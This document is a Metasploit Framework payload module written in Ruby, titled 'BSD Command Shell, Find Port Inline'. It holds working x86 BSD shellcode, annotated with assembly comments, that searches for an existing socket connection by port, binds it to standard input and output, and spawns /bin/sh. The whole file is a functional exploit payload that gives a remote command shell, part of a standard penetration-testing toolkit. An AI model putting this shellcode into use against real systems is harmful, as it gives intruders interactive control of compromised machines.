##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/find_port'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule

  CachedSize = 60

  include Msf::Payload::Single
  include Msf::Payload::Bsd
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'BSD Command Shell, Find Port Inline',
      'Description'   => 'Spawn a shell on an established connection',
      'Author'        => 'Ramon de C Valle',
      'License'       => MSF_LICENSE,
      'Platform'      => 'bsd',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::FindPort,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'CPORT' => [ 25, 'n' ],
            },
          'Payload' =>
            "\x31\xc0"             +#   xorl    %eax,%eax                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x89\xe7"             +#   movl    %esp,%edi                  #
            "\x6a\x10"             +#   pushl   $0x10                      #
            "\x54"                 +#   pushl   %esp                       #
            "\x57"                 +#   pushl   %edi                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x58"                 +#   popl    %eax                       #
            "\x58"                 +#   popl    %eax                       #
            "\x40"                 +#   incl    %eax                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x50"                 +#   pushl   %eax                       #
            "\x6a\x1f"             +#   pushl   $0x1f                      #
            "\x58"                 +#   popl    %eax                       #
            "\xcd\x80"             +#   int     $0x80                      #
            "\x66\x81\x7f\x02\x04\xd2"+#   cmpw    $0xd204,0x02(%edi)         #
            "\x75\xee"             +#   jne     <fndsockcode+11>           #
            "\x50"                 +#   pushl   %eax                       #
            "\x6a\x5a"             +#   pushl   $0x5a                      #
            "\x58"                 +#   popl    %eax                       #
            "\xcd\x80"             +#   int     $0x80                      #
            "\xff\x4f\xf0"         +#   decl    -0x10(%edi)                #
            "\x79\xf6"             +#   jns     <fndsockcode+30>           #
            "\x68\x2f\x2f\x73\x68" +#   pushl   $0x68732f2f                #
            "\x68\x2f\x62\x69\x6e" +#   pushl   $0x6e69622f                #
            "\x89\xe3"             +#   movl    %esp,%ebx                  #
            "\x50"                 +#   pushl   %eax                       #
            "\x54"                 +#   pushl   %esp                       #
            "\x53"                 +#   pushl   %ebx                       #
            "\x50"                 +#   pushl   %eax                       #
            "\xb0\x3b"             +#   movb    $0x3b,%al                  #
            "\xcd\x80"              #   int     $0x80                      #
        }
      ))
  end
end
